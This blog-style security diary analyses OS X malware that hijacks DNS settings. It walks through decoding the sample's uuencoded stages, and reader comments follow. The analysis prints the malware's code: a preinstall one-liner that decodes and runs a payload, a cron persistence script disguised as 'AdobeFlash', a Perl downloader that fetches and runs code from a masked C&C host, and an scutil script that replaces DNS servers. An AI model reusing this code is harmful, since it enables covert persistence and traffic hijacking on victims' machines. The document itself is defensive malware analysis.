OS X DNS Changers part three

Published: 2008-11-25
Last Updated: 2008-11-25 20:59:54 UTC
by Andre Ludwig (Version: 2)
5 comment(s)

Well it looks like my first day on duty I have the pleasure of sharing the latest and greatest in OS X DNS hijacking script.  For those long time readers of ISC this topic may sound somewhat familiar, that is because this subject has been covered twice before in some detail. Since this entry is on the long side of things, I will very quickly cover the important part for readers who DO NOT have the time to read all of this.

Quick and dirty:

  • OS X based "malware" that requires user interaction to install (e.g. user putting in username/password)
  • Consists of various stages of uuencoded shell script and perl to create a crontab entry named "AdobeFlash" (this will most likely change) that will execute every 5 min.
  • End effect is a cronjob that downloads and executes as system what ever is passed down to it.  This currently is a payload that swaps DNS servers on a victim machine.
  • Current sample uses DNS servers in the following ip range (UkrTeleGroup)

Things to note:

  • The attackers now have a much more structured and formalized C&C mechanism that allows them to download and execute CODE
  • The infrastructure and code used in this sample can be easily modified and updated, this means the detection mechanisms discussed below may become useless in a short period of time.

How to detect infections:

Snort Signature:


OS X command:

/usr/sbin/scutil --dns | grep nameserver

This will spit out your DNS name server settings, if these point to any ip OTHER THAN what it should be you are most likely infected.  (for now this IP range is -, this of course may change over time)


Previous entries on this topic:

Part One:

Part Two:

Now on to the fun part, what makes this new version so interesting?  Several things, including changes in the structure and code, as well as a more robust mechnism for controlling infections.  That and well I decided that it would be interesting to try and do the analysis on platform that wasnt vulnerable to this strain of malware. 


Now that I have enjoyed the moment of complete irony lets move on to the nitty gritty.

This diary entry is more for fun then anything else, with that in mind what we go over here can easily be done in OS X or linux if you know what you are doing. For the "casual" malware analyst windows or linux would be the safest platform to play with. (as I pointed out earlier windows is actually the safest based on the sample I found)


Some background:

The below are a couple of blog postings that cover the malware I am going to go over today. They give a good amount of detail for those who would rather watch from the sidelines.  Major thanks to Methusela Cebrian Ferrer and Jose Nazario for producing such great postings on their blogs.



The fun part:

Tools used (feel free to substitute)
7zip  www.7zip.org
UUDECODE from http://www.bastet.com/uue.zip (Source included, ALWAYS CHECK SOURCE)
Transmac Trial (30 day) http://www.asy.com/scrtm.htm
Python 2.6 for windows  http://www.python.org/ftp/python/2.6/python-2.6.msi

Once you have found the sample that you want to work with and have it on your windows VM you can open up the .dmg file using transmac.  There are several ways to extract the contents of the DMG file, I obviously have chosen to use transmac but you may use other tools that convert the dmg into an .iso file.  From there you can either mount the iso directly into your VM by copying it to your host or you can use some other tool.

Once you have access to the contents of the DMG file you can take a look at the preinstall script.  In this case it will look something like this:

if [ $# != 1 ]; then type=0; else type=1; fi && tail -35 $0 | uudecode -o /dev/stdout | sed 's/applemac/AdobeFlash/' | sed 's/bsd/7000/' | sed 's/gnu/'$type'/' >`uname -p` && sh `uname -p` && rm `uname -p` && exit
begin 777 withlove

As you can see from the above the preinstall (and postinstall) scripts are simply shell scripts.  This will make it rather easy for us to analyze what it will try to do when it is executed.

Now that we have looked at the preinstall script (which as bojan discussed in his previous diary entries on the topic is executed first), we need to decode the mess of text at the bottom of the file.  Since we downloaded UUDECODE.exe from the site above, we have the ability to UUDECODE in windows at a command line, all we need to do is save off a copy of the file that contains only the uuencoded data.  This can be done by mimicing what the shell script does by simply removing the first two lines of text in the preinstall script (this may vary based on samples).   The remaining file should look like this (trimmed data so it would fit), the important parts are to have the begin/end lines of text. *If you are using other tools to uudecode you may need to save the file with a .uue extension*

begin 777 withlove

Once you have saved the file as editing you can jump into a command shell and simply execute UUDECODE.exe withlove.uue.  This will then spit out a decoded file with the name withlove.

We can now take a look at the withlove file to see what it does.  It should be noted that based on the preinstall script above, that the contents of the withlove file would have been modified by sed.  So you can simply manually modify the regular expression statements that sed was using.  (change applemac to be AdobeFlash, and change bsd to 7000, etc)  With this sample there really is no need to change these parameters, but with future samples this may become critical to maintain "state" from the attackers perspective.

path="/Library/Internet Plug-Ins"
exist=`crontab -l|grep $EVIL`
if [ "$exist" == "" ]; then
    echo "* */5 * * * \"$path/$EVIL\" 1>/dev/null 2>&1" > cron.inst
    crontab cron.inst
    rm cron.inst

tail -21 $0 | uudecode -o /dev/stdout | sed 's/7777/bsd/' | sed 's/typeofrun/gnu/' | perl && exit
begin 666 jah

So what this file does is create a cronjob that runs every five minutes that executes a perl script named AdobeFlash located in /Library/Internet Plug-Ins (remember those sed regular expressions!).  Using the steps we used above to save and uudecode the encoded text we can take a look at the contents of "jah" that is at the bottom of the "withlove" file.

Decoded contents
use IO::Socket;
my $ip="XXX.XXX.XXX.XXX",$answer="";
my $runtype=typeofrun;

sub trim($)
    my $string = shift;
    $string =~ s/\r//;
    $string =~ s/\n//;
    return $string;

my $socket=IO::Socket::INET->new(PeerAddr=>"$ip",PeerPort=>"80",Proto=>"tcp") or return;
print $socket "GET /cgi-bin/generator.pl HTTP/1.0\r\nUser-Agent: "**SNIPPED CONTENT**;$runtype;7777;**SNIPPED CONTENT**;\r\n\r\n";

while(<$socket>){ $answer.=$_;}

my $data=substr($answer,index($answer,"\r\n\r\n")+4);
if($answer=~/Time: (.*)\r\n/)
    my $cpos=0,@pos=split(/ /,$1);
    my $file="/tmp/".$_;
    print FILE substr($data,$cpos,$_);
    chmod 0755, $file;

Well what we have here is basically a perl based "download a file from here with this User-Agent string, and then execute the results" script.  So lets take a quick look at the perl script. (I AM NOT A PERL GURU!!!)

From a mitigation/alerting side the more interesting parts are the URL/Host/User-Agent (I have modified the User-agent code so it WILL NOT WORK AS IS!) combination that is used to pull down code and execute it.  From a forensic's point of view it is interesting to note that the default location for the file to be downloaded to is /tmp/.  So being a bit curious I wanted to see what the script was pulling down and executing, but since I was working on windows I needed to either have perl (and modify the above script a bit), or I would have to bust out my trusty pal python and write my own script to pull down the file. 

I opted for the python route which produced the following horrible code.

import httplib
import urllib2
import sys

outfilename = sys.argv[1]
outFile = open( outfilename, 'a')

request = urllib2.Request('http://XXX.XXX.XXX.XXX/cgi-bin/generator.pl')
opener = urllib2.build_opener()
request.add_header('User-Agent','**SNIPPED CONTENT**;typeofrun;7777;**SNIPPED CONTENT**;')
data = opener.open(request).read()

print "Wrote file  %s" % outfilename

So once we have the above python code in a file we can execute it via python.exe like follows.

C:\Python26>python "C:\Documents and Settings\**SNIPPED CONTENT**\Desktop\macmalware\ripper.py" outfile.txt
Wrote file  outfile.txt

We can now take a look at outfile.txt to see what is being pulled down and executed.

so a quick more outfile.txt produces the following results

tail -11 $0 | uudecode -o /dev/stdout | sed 's/TEERTS/'`echo ml.pll.oop.vl | tr iopjklbnmv 0123456789`'/' | sed 's/CIGAM/'`echo ml.pll.oop.pin | tr iopjklbnmv 0123456789`'/'| sh && rm $0 && exit
begin 777 mac

Well it looks like we are back in familiar territory (did you read those two previous diary entries?) as far as using tr.  Lets decode the contents of "mac" that is appended to the bottom of the file we pulled down.  (again using the UUDECODE.exe)

Contents of mac
path="/Library/Internet Plug-Ins"


PSID=$( (/usr/sbin/scutil | grep PrimaryService | sed -e 's/.*PrimaryService : //')<< EOF
get State:/Network/Global/IPv4

/usr/sbin/scutil << EOF
d.add ServerAddresses * $VX1 $VX2
set State:/Network/Service/$PSID/DNS

Well low and behold it would appear that this entire process of various UUENCODED blobs of text all lead to this.  We have a DNS changer that uses scutil's cli interface to modify a OSX machines dns entries.  Please do take note that "TEERTS" and "CIGAM" would be replaced with the results of the tr commands in the shell script that we pulled down. (outfile.txt)  The values of VX1 and VX2 in THIS SAMPLE would be VX1= VX2=,  now takes these DNS servers with a grain of salt, as it is EXTREMELY EASY for the attackers to change these values. They have done this at least 3 times in the last 24 hours, so it may be wise to simply block DNS traffic to - which is the netblock owned an operated by UkrTeleGroup. (The hot new freshness in bad juju)


I would also like to thank reader Steve Lyst for pointing this out and sharing his experience when I was working on this diary entry.


5 comment(s)


To me, malware like this sort of shows the practical limits of securing desktop machines. If a user is willing to TYPE IN THEIR OWN PASSWORD in order to run a piece of malware, there is simply no way we can protect their machine from infection without completely taking away the user's ability to install software. There's a limit to how much we can do to protect users from themselves.
I agree, I personally have a bit of issue with calling this "malware". That and my general disdain for buzzwords and those who use them dictate this hesitation.
I agree, I personally have a bit of issue with calling this malware. That and my general disdain for buzzwords and those who use them dictate this hesitation
A friend's Mac was exhibiting symptoms of taking forever to find a website, but moving quickly once the site was loaded. I suspected DNS trickery and changed his DNS entries to OpenDNS. I'm sure this could have been the culprit!
If this was the culprit, the dns changes you made (pointing to opendns) would be over written the next time the cronjob executed. So he would be back to square one again.

Diary Archives